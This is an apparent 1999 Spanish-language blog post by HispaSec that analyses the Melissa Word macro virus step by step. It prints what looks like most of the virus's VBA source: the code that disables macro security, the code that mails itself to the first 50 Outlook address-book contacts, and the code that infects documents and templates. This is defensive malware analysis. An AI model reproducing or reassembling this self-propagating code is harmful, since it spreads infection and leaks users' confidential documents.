domingo, 28 de marzo de 1999

HispaSec analiza a Melissa

Melissa es un nuevo virus macro para Word 8.0 y 9.0
(Office 97 y 2000) que está consiguiendo una gran difusión
debido a que utiliza el email como medio de transporte. El
virus, que infecta documentos y plantillas, se adjunta al
correo. Al ser abierto por el destinatario lanza una macro
que reenviará el virus los primeros 50 buzones que tengamos
en la libreta de direcciones.
El virus ha levantado una gran expectación entre todos los
medios de comunicación, tan solo hay que ver al final de
este documento la cantidad de referencias donde se hacen
eco de la noticia.

Nos hemos encontrado distintos enfoques, desde los que
simplemente incitan a una alarma generalizada, hasta los
que dan detalles más técnicos. Por último no podían faltar
los que se quedan en las anécdotas recogidas de las diversas
noticias, contando que el primer documento infectado provenía
de las news y contenía passwords de sitios eróticos, ó que
la frase del payload hace referencia a la serie televisiva
de Los Simpsons.

En HispaSec, con un enfoque más técnico y objetivo, hemos
preferido hacer un análisis directo, para ello nos hemos
hecho con una copia del virus. De ahora en adelante os
invitamos a conocer a "Melissa" desde dentro, a través
de un recorrido por su código.

Lo primero que realiza el virus es interrogar al registro
y comprobar que parámetros tiene que modificar, según la
versión de Office, para que la seguridad sea baja.


[CODIGO]
------------------------------------
Private Sub Document_Open()
On Error Resume Next
If System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\
9.0\Word\Security",
"Level") <> "" Then
------------------------------------

A continuación deshabilita las opciones de seguridad,
herramientas de macros, y otros parámetros, como la protección
antivirus ó la confirmación para realizar conversiones, que
ocultarán al usuario las acciones del virus que podrían alarmarlo.
Resulta curioso observar como el virus utiliza la resta (1-1), en
vez de poner directamente 0, para evitar algunas alarmas heurísticas
de antivirus que saltarían al asignar dicho número directamente,
ya que indicaría que se están deshabilitando las opciones de seguridad.


[CODIGO]
------------------------------------
CommandBars("Macro").Controls("Security...").Enabled = False
System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security",
"Level") = 1&
Else
CommandBars("Tools").Controls("Macro").Enabled = False
Options.ConfirmConversions =
(1 - 1): Options.VirusProtection = (1 - 1):
Options.SaveNormalPrompt = (1 - 1)
End If
---------------------------------------------------------

Gracias a la utilidad de conversión de la que dispone Word 9.0
(Office 2000), los documentos y plantillas hechos con la versión
anterior de Word (Word 8.0, Office 97) pueden convertirse a
la nueva versión. Además de los documentos, esta utilidad convierte
también los macros que incorpora, por lo que el virus de manera
automática pasa al nuevo formato, e infecta a los usuarios de
Office 2000. Esta opción de conversión de formatos requiere la
confirmación por parte del usuario. Para evitar que el usuario se
alarme, al ver las ventanas pidiendo si realmente quiere convertir
los documentos, el virus desactiva la confirmación de versiones con
la línea [Options.ConfirmConversions = (1 - 1)].

El virus crea un objeto Outlook basándose en instrucciones de Visual
Basic. Chequea que el sistema no ha sido infectado anteriormente,
por lo que interroga al registro y comprueba que no existe su marca
en la entrada [...\Office\"Melissa?" = "... by Kwyjibo"]. En tal caso
recoge las direcciones de los primeros 50 usuarios que tengamos
registrados en la libreta de direcciones. Vemos que es necesario
contar con Outlook en el sistema para que el virus se propague a
través de email. No tenemos porque haber ejecutado Outlook para que
se inicie el envío, basta con que lo tengamos instalado en el sistema.


[CODIGO]
---------------------------------------------------------
Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
If System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?")
<> "... by Kwyjibo" Then
If UngaDasOutlook = "Outlook" Then
DasMapiName.Logon "profile", "password"
For y = 1 To DasMapiName.AddressLists.Count
Set AddyBook = DasMapiName.AddressLists(y)
x = 1
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
For oo = 1 To AddyBook.AddressEntries.Count
Peep = AddyBook.AddressEntries(x)
BreakUmOffASlice.Recipients.Add Peep
x = x + 1
If x > 50 Then oo = AddyBook.AddressEntries.Count
Next oo
----------------------------------------------------------

Crea un email con el asunto "important Message From " más el
nombre del usuario infectado. El cuerpo del mensaje
consiste en el texto "Here is that document you asked for.,,
don`t show anyone else ;-)". A continuación adjunta al email
el documento Word activo y lo envía. Debemos de hacer hincapié
en que el documento enviado es el que tenemos activo en este
momento, por lo que el virus podría estar enviando información
confidencial. Para finalizar, el virus deja su marca en el
registro que le indicará la próxima vez que se ejecute que el
sistema ha sido ya infectado, y así no enviar los emails. Por
lo tanto, el envío de mensajes con el virus sólo se efectúa una
vez por sistema infectado.


[CODIGO]
----------------------------------------------------------
BreakUmOffASlice.Subject =
"Important Message From " & Application.UserName
BreakUmOffASlice.Body =
"Here is that document you asked for ...
don't show anyone else ;-)"
BreakUmOffASlice.Attachments.Add
ActiveDocument.FullName
BreakUmOffASlice.Send
Peep = ""
Next y
DasMapiName.Logoff
End If
System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") =
"... by Kwyjibo"
End If
-----------------------------------------------------------

A continuación el virus procede a comprobar si el documento
activo y la plantilla contienen un módulo con el nombre de
"Melissa". Si no se encuentra el módulo borra las líneas
existentes, lo renombra a "Melissa", y inicializa algunas
variables para proceder a su infección. Todo este proceso
lo hace doble, diferenciando entre documentos y plantillas.


[CODIGO]
------------------------------------------------------
Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If ADI1.Name <> "Melissa" Then
If ADCL > 0 Then ADI1.CodeModule.DeleteLines 1, ADCL
Set ToInfect = ADI1
ADI1.Name = "Melissa"
DoAD = True
End If

If NTI1.Name <> "Melissa" Then
If NTCL > 0 Then NTI1.CodeModule.DeleteLines 1, NTCL
Set ToInfect = NTI1
NTI1.Name = "Melissa"
DoNT = True
End If
------------------------------------------------------


El virus procede a infectar el documento y la plantilla
insertando una a una las líneas de su código. Hay que
destacar que en el caso de los documentos lo realiza
con el módulo "Private Sub Document_Close()", y en
las plantillas con el módulo "Private Sub Document_Open()".

Esto supondrá que el virus se iniciará cuando un
documento infectado sea abierto, y por el contrario
empezará a ejecutarse cuando se cierre, afectando a
otros documentos, a través de la plantilla.

Esto quiere decir que una vez infectado un sistema todos
los documentos que hagan referencia a plantillas infectadas,
como puede ser NORMAL.DOT, se infectarán de manera automática.
En algunas noticias se ha comentado que el virus se propaga
a través del documento LIST.DOC, aunque este sea el documento
original con el que se distribuyó el virus, queda demostrado
que puede llegarnos a través de cualquier otro documento.


[CODIGO]
-------------------------------------
If DoNT <> True And DoAD <> True Then GoTo CYA

If DoNT = True Then
Do While ADI1.CodeModule.Lines(1, 1) = ""
ADI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString
("Private Sub Document_Close()")
Do While ADI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN,
ADI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If

If DoAD = True Then
Do While NTI1.CodeModule.Lines(1, 1) = ""
NTI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString
("Private Sub Document_Open()")
Do While NTI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN,
NTI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
CYA:
If NTCL <> 0 And ADCL = 0 And
(InStr(1, ActiveDocument.Name, "Document") = False) Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then
ActiveDocument.Saved = True
End If
---------------------------------------------------------


El virus contiene varios mensajes en líneas de comentarios
identificando el nombre del virus, el "nick" de su autor y
vaticinando que es el primero de una larga especie de nuevos
virus que utilizarán este tipo de técnicas. Por último un
payload basado en un mensaje que salta si el número del día
coincide con los minutos.


[CODIGO]
-----------------------------------------------------------
'WORD/Melissa written by Kwyjibo
'Works in both Word 2000 and Word 97
'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!

If Day(Now) = Minute(Now) Then
Selection.TypeText
" Twenty-two points, plus triple-word-score,
plus fifty points for using all my letters.
Game's over. I'm outta here."
End Sub
-----------------------------------------------------------


Según las últimas noticias, la difusión que está consiguiendo el
virus ha provocado verdaderos colapsos en algunos servidores de
correo en compañías de la talla de Microsoft ó Intel. Este hecho
ha provocado que desde sendmail.com proporcionen la forma de
configurar el servidor de correo para filtrar los mensajes que
contengan el virus.

ftp://ftp.cert.org/pub/cert_advisories/Patches/CA-99-04-sendmail-melissa-filter.txt

Todo parece indicar que este lunes podría ser fatídico, ya que
muchos usuarios corporativos no han tenido ocasión durante el
fin de semana de abrir su correspondencia. Debemos de tener en
cuenta que la infección se produjo el viernes, y que en tan solo
dos días, no laborables, los usuarios infectados se cuentan por miles.

La respuesta de los antivirus ha sido en esta ocasión muy rápida,
y prácticamente la mayoría contarán en su última actualización
con la información necesaria para detectar y eliminar al virus
Melissa. Bastará con actualizar el antivirus a través de la
opción que les permite hacerlo regularmente desde Internet de
forma automática.

Debido a la rápida difusión de Melissa, son muchas las casas
antivirus que están ofreciendo actualizaciones específicas
para que sus usuarios puedan neutralizar cuanto antes el virus:

Network Associates
Panda Software
AVP
Symantec
Symantec

Más información:
Network Associates (McAfee) (26/03/1999)
Network Associates (26/03/1999) AvertLabs
BugTraq (26/03/1999)
BugTraq (26/03/1999)
BugTraq (26/03/1999)
BugTraq (26/03/1999)
BugTraq (26/03/1999)
Symantec (26/03/1999)
InfoWorld (26/03/1999)
ZDNet (26/03/1999)
CNET (26/03/1999)
AVP (27/03/1999)
Data Fellows (27/03/1999)
Data Fellows (27/03/1999) Imágenes del Virus Melissa
Data Fellows (27/03/1999) Imágenes del Virus Melissa
TrendMicro (27/03/1999)
CERT (27/03/1999)
Panda Software (28/03/1999)



Bernardo Quintero



No hay comentarios:

Publicar un comentario en la entrada